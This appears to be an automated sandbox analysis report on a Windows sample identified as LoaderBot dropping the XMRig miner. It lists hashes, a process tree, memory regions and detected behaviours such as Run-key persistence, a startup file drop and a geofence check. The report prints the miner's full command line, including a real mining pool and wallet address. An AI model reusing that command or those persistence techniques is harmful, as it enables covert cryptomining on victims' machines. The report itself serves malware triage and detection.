Analysis

  • max time kernel
    84s
  • max time network
    177s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-11-2023 19:42

General

  • Target

    2812-28-0x0000000000D30000-0x0000000001764000-memory.exe

  • Size

    10.2MB

  • MD5

    471e1ef5f5b5f565edfdb50280186890

  • SHA1

    1d9eef098e334545019eb143a663d83e4d594536

  • SHA256

    1752db737ed003a62b9f7ce7e8101b2fa8bde2718951430bdc52ae858768a6fd

  • SHA512

    e160d8dc1309589c35831160362d837e9914abd9ff81470db13163eeeb10fd1e218d3d83012795ca246ceff8cba6acfe82224a5207a22fcc9298d717c40149f9

  • SSDEEP

    98304:vzP88fBsnZTgOtqB3m1RC3XORpug4OZeZ3fq4bBvzeszWpJj1z2ge+u/3qXuD5OK:brpkE3aRC3Hg4bpqsyJ4g3uPIuFKay

Malware Config

Signatures

  • LoaderBot

    LoaderBot is a loader written in .NET downloading and executing miners.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • LoaderBot executable 1 IoCs
  • XMRig Miner payload 16 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2812-28-0x0000000000D30000-0x0000000001764000-memory.exe
    "C:\Users\Admin\AppData\Local\Temp\2812-28-0x0000000000D30000-0x0000000001764000-memory.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: RenamesItself
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4924
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 4
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1816
    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 4
      2⤵
        PID:3436

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe

      Filesize

      3.9MB

      MD5

      02569a7a91a71133d4a1023bf32aa6f4

      SHA1

      0f16bcb3f3f085d3d3be912195558e9f9680d574

      SHA256

      8d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0

      SHA512

      534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322

    • memory/1100-1-0x0000000000FF0000-0x0000000001A24000-memory.dmp

      Filesize

      10.2MB

    • memory/1100-5-0x00000000066B0000-0x0000000006716000-memory.dmp

      Filesize

      408KB

    • memory/1100-4-0x0000000003CD0000-0x0000000003CE0000-memory.dmp

      Filesize

      64KB

    • memory/1100-0-0x0000000074630000-0x0000000074DE0000-memory.dmp

      Filesize

      7.7MB

    • memory/1100-23-0x0000000003CD0000-0x0000000003CE0000-memory.dmp

      Filesize

      64KB

    • memory/1100-19-0x0000000074630000-0x0000000074DE0000-memory.dmp

      Filesize

      7.7MB

    • memory/1816-30-0x00000000137F0000-0x0000000013810000-memory.dmp

      Filesize

      128KB

    • memory/1816-36-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1816-48-0x0000000002030000-0x0000000002050000-memory.dmp

      Filesize

      128KB

    • memory/1816-24-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1816-25-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1816-26-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1816-27-0x00000000004A0000-0x00000000004C0000-memory.dmp

      Filesize

      128KB

    • memory/1816-28-0x0000000002030000-0x0000000002050000-memory.dmp

      Filesize

      128KB

    • memory/1816-29-0x0000000002050000-0x0000000002070000-memory.dmp

      Filesize

      128KB

    • memory/1816-50-0x00000000137F0000-0x0000000013810000-memory.dmp

      Filesize

      128KB

    • memory/1816-31-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1816-32-0x00000000004A0000-0x00000000004C0000-memory.dmp

      Filesize

      128KB

    • memory/1816-33-0x0000000002030000-0x0000000002050000-memory.dmp

      Filesize

      128KB

    • memory/1816-34-0x0000000002050000-0x0000000002070000-memory.dmp

      Filesize

      128KB

    • memory/1816-35-0x00000000137F0000-0x0000000013810000-memory.dmp

      Filesize

      128KB

    • memory/1816-22-0x0000000000460000-0x0000000000480000-memory.dmp

      Filesize

      128KB

    • memory/1816-37-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1816-38-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1816-39-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1816-40-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1816-41-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1816-42-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1816-43-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1816-44-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1816-45-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1816-46-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/1816-47-0x00000000004A0000-0x00000000004C0000-memory.dmp

      Filesize

      128KB

    • memory/1816-49-0x0000000002050000-0x0000000002070000-memory.dmp

      Filesize

      128KB

    • memory/4924-16-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4924-18-0x0000000140000000-0x0000000140B75000-memory.dmp

      Filesize

      11.5MB

    • memory/4924-17-0x0000000000510000-0x0000000000524000-memory.dmp

      Filesize

      80KB